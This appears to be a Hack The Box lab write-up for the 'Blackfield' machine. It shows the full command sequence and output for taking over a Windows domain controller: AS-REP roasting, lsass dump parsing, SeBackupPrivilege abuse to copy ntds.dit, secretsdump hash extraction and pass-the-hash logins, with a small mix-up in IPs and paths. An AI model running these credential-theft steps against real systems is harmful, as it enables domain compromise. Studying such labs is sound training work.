

Blackfield

<https://2018.romhack.io/slides/RomHack%202018%20-%20Andrea%20Pierini%20-%20whoami%20priv%20-%20show%20me%20your%20Windows%20privileges%20and%20I%20will%20lead%20you%20to%20SYSTEM.pdf>

Nmap Scan

```
map -sV -sC -vv T-IP -oA portscan
PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 202
6-04-30 00:47:46Z)
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
389/tcp   open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Dom
ain: BLACKFIELD.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
593/tcp   open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Dom
ain: BLACKFIELD.local, Site: Default-First-Site-Name)
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 29469/tcp): CLEAN (Timeout)
|   Check 2 (port 17215/tcp): CLEAN (Timeout)
|   Check 3 (port 46070/udp): CLEAN (Timeout)
|   Check 4 (port 29521/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2026-04-30T00:47:58
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 6h59m45s

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/subm
it/ .
# Nmap done at Wed Apr 29 22:48:53 2026 -- 1 IP address (1 host up) scanned in 78.04 seco
nds
```

Domain Name: BLACKFIELD.LOCAL

SMB

```
(sheru@kali)-[~/htb/machines/blackfield]
└─$ crackmapexec smb 10.129.229.17 -u guest -p '' --shares
SMB 10.129.229.17 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:
BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.129.229.17 445 DC01 [+] BLACKFIELD.local\guest:
SMB 10.129.229.17 445 DC01 [+] Enumerated shares
SMB 10.129.229.17 445 DC01 Share Permissions Remark
SMB 10.129.229.17 445 DC01 ADMIN$ Remote Admin
SMB 10.129.229.17 445 DC01 C$ Default share
SMB 10.129.229.17 445 DC01 forensic Forensic / Audit share
e.
SMB 10.129.229.17 445 DC01 IPC$ READ Remote IPC
SMB 10.129.229.17 445 DC01 NETLOGON Logon server share
SMB 10.129.229.17 445 DC01 profiles$ READ
SMB 10.129.229.17 445 DC01 SYSVOL Logon server share
```

```
sudo mount cifs '//T-IP/profiles$' /mnt
```

now use this command to save all the usernames in a file

```
ls /mnt > users.list
```

Now we will check which users are valid

```
/kerbrute_linux_amd64 userenum --dc 10.129.229.17 -d blackfield ~/htb/machines/blackfield/users.list -o ~/htb/machines/blackfield/valid_kerbrute.txt
```

```
(sheru@kali)-[~/tools]
└─$ ./kerbrute_linux_amd64 userenum --dc 10.129.229.17 -d blackfield ~/htb/machines/blackfield/users.list
-o ~/htb/machines/blackfield/valid_kerbrute.txt

Kerbrute
Version: v1.0.3 (9dad6e1) - 04/29/26 - Ronnie Flathers @ropnop

2026/04/29 22:59:27 > Using KDC(s):
2026/04/29 22:59:27 > 10.129.229.17:88

2026/04/29 23:00:02 > [+] VALID USERNAME: audit2020@blackfield
2026/04/29 23:02:26 > [+] VALID USERNAME: support@blackfield
2026/04/29 23:02:26 > [+] VALID USERNAME: svc_backup@blackfield
```

Now we will perform AS-REP roasting

```
GetNPUsers.py -dc-ip 10.129.229.17 -no-pass -usersfile valid_users blackfield/
```

```
(sheru@kali)-[~/htb/machines/blackfield]
└─$ GetNPUsers.py -dc-ip 10.129.229.17 -no-pass -usersfile valid_users blackfield/
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

/home/sheru/.local/bin/GetNPUsers.py:150: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23support@BLACKFIELD:299f9d7c351793038d1a53c26855baa7$d3339746b396d8a919a3905e29a33f27277ba9eadf3c556e6a84930ea9aa4cfa066b297e0e1e6f0cc60b11c84679ca6a3a00f6e9cb67a4c8e1cd140f37ee7cec547060bd5f304435944e131221d14d7e2c1226e23114780d7d441347918bf55e5a4d68a65c9f798c0e9df9c7947523447c9dc884d8e1bf774f7b7bde3754d613f041b4ba298227e6228eab442f1155b5909cab7d9f50b9323c2ab30e46c7cec70f84eaaac87a5d166945a1bb728a116c0061fd9248828ef047930d5be60d75259143ac80e6118b7a3e6c0eef44f41e179d4b8dfa155fe72605d599759edd721045290f6d199029e045072d7bc67
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Cracked this hash with hashcat with module 18200

```
bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.129.229.17
```



```
sudo mount -t cifs //T-IP/forensic /tmp username=audit2020
```

once mounted you can cp the file and paste it to your machine from the /tmp directory. After that unzip the file and use pypykat to dump lsa

```
pypykat lsa minidump lsass.DMP
```

```
(sheru@kali) [~/htb/machines/blackfield]
$ crackmapexec smb 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d --shares
SMB 10.129.229.17 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB 10.129.229.17 445 DC01 [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d
SMB 10.129.229.17 445 DC01 [+] Enumerated shares
SMB 10.129.229.17 445 DC01 Share Permissions Remark
SMB 10.129.229.17 445 DC01 ADMIN$ READ Remote Admin
SMB 10.129.229.17 445 DC01 C$ READ,WRITE Default share
SMB 10.129.229.17 445 DC01 forensic Forensic / Audit share.
SMB 10.129.229.17 445 DC01 IPC$ READ Remote IPC
SMB 10.129.229.17 445 DC01 NETLOGON READ Logon server share
SMB 10.129.229.17 445 DC01 profiles$ READ
SMB 10.129.229.17 445 DC01 SYSVOL READ Logon server share
```

```
crackmapexec winrm 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
```

```
(sheru@kali) [~/htb/machines/blackfield]
$ crackmapexec winrm 10.129.229.17 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
SMB 10.129.229.17 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP 10.129.229.17 5985 DC01 [*] http://10.129.229.17:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self.key)
WINRM 10.129.229.17 5985 DC01 [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)
```

so i tried to get what privileges the user svc_backup has on the machine

```
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name            Description                State
-----
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege         Back up files and directories Enabled
SeRestorePrivilege        Restore files and directories Enabled
SeShutdownPrivilege       Shut down the system       Enabled
SeChangeNotifyPrivilege   Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

So we have SeBackupPrivileges

What is SeBackupPrivilege?

SeBackupPrivilege is a Windows user privilege that allows a user to **read (backup) files and folders even if they don't have normal permissions to access them.**

So now i first tried reg.exe to read ntds.dit file but it failed because it's locked and in use by the system, so we can't simply copy it. To bypass this, we use a well-documented technique involving **Volume Shadow Copy Services (VSS)**. A shadow copy lets us duplicate an in-use volume and read its contents safely.

Reference: <https://github.com/k4sth4/SeBackupPrivilege>

Privilege Escalation

First, we download and transfer two PowerShell modules from the GitHub repo above:

- `SeBackupPrivilegeCmdLets.dll`
- `SeBackupPrivilegeUtils.dll`

We upload them into `C:\temp` and import them within our Evil-WinRM session:

```
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
```

Creating the VSS Script File

From our Kali machine, we create a **DiskShadow** script to snapshot the system drive:

```
set context persistent nowriters
set metadata c:\\temp\\test.cab
set verbose on
add volume c: alias test
create
expose %test% z:
```

We convert it to Windows format:

```
unix2dos vss.dsh
```

Then transfer it to the target via Evil-WinRM into **C:\ProgramData**.

Executing the Volume Shadow Copy

We now run the DiskShadow utility to mount a shadow copy of **C:** to **Z:**:

```
diskshadow /s C:\temp\vss.dsh
```

```
*Evil-WinRM* PS C:\ProgramData> diskshadow /s C:\programdata\vss.dsh
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 5/1/2026 5:11:26 AM

-> set context persistent nowriters
-> set metadata c:\\programdata\\test.cab
-> set verbose on
-> add volume c: alias test
-> create

Alias test for shadow ID {53bf09e2-5dbc-4b28-b67d-f9d1ea9e8031} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {c612bfe4-7656-4bbf-ab01-3cb54d5043c8} set as environment variable.
Inserted file Manifest.xml into .cab file test.cab
Inserted file DisBf25.tmp into .cab file test.cab

Querying all shadow copies with the shadow copy set ID {c612bfe4-7656-4bbf-ab01-3cb54d5043c8}

* Shadow copy ID = {53bf09e2-5dbc-4b28-b67d-f9d1ea9e8031} %test%
- Shadow copy set: {c612bfe4-7656-4bbf-ab01-3cb54d5043c8} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?Volume{6cd5140b-0000-0000-0000-602200000000}\\ [c:]
- Creation time: 5/1/2026 5:11:27 AM
```

Copying **ntds.dit** with Elevated Rights

We copy the **ntds.dit** file from the mounted shadow copy using the custom PowerShell cmdlets we loaded earlier:

```
Copy-FileSeBackupPrivilege Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
```

```
*Evil-WinRM* PS C:\ProgramData> ls

Directory: C:\ProgramData

Mode                LastWriteTime         Length Name
----                -
d----- 2/1/2020 11:04 AM                Microsoft
d----- 3/19/2020 11:08 AM                Package Cache
d----- 5/1/2026 5:02 AM                regid.1991-06.com.microsoft
d----- 9/15/2018 12:19 AM                SoftwareDistribution
d----- 2/23/2020 6:32 AM                ssh
d----- 2/1/2020 10:57 AM                USOPrivate
d----- 2/1/2020 10:57 AM                USOShared
d----- 3/19/2020 11:09 AM                VMware
-a----- 5/1/2026 5:12 AM          18874368 ntds.dit
-a----- 5/1/2026 5:02 AM          12288 SeBackupPrivilegeCmdLets.dll
-a----- 5/1/2026 5:02 AM          16384 SeBackupPrivilegeUtils.dll
-a----- 5/1/2026 5:11 AM             658 test.cab
-a----- 5/1/2026 5:10 AM             150 vss.dsh
```

To successfully decrypt user hashes from the AD database, we also need the **SYSTEM hive** to extract the bootKey:

```
reg save HKLM\SYSTEM C:\temp\SYSTEM
```

→ At this point, both required files (`ntds.dit` and `SYSTEM`) are stored in `C:\temp` .

Extracting Domain Hashes with SecretsDump

Back on Kali, we parse the domain database using `secretsdump.py` :

```
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
```

```
└─$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd511b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01:1000:aad3b435b51404eeaad3b435b51404ee:7f82cc4be7ee6ca0b417c0719479dbec:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit:2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD189208:1107:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
```

Now check through crackmapexec that whether we can winrm into the machine

```
crackmapexec winrm 10.129.229.17 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
```

```
(shuru@kali)~/htb/machines/blackfield
└─$ crackmapexec winrm 10.129.229.17 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
SMB 10.129.229.17 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP 10.129.229.17 5985 DC01 [*] http://10.129.229.17:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4
has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cry
ptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.129.229.17 5985 DC01 [+] BLACKFIELD.local\administrator:184fb5e5178480be64824d4cd53b99ee (Pwn3d!)
```

Yes we can. Now we will get into the machine using evil-winrm and get the root.txt

```
evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../../Administrator/Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
4375a629c7c67c8e29db269060c955cb
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dd
```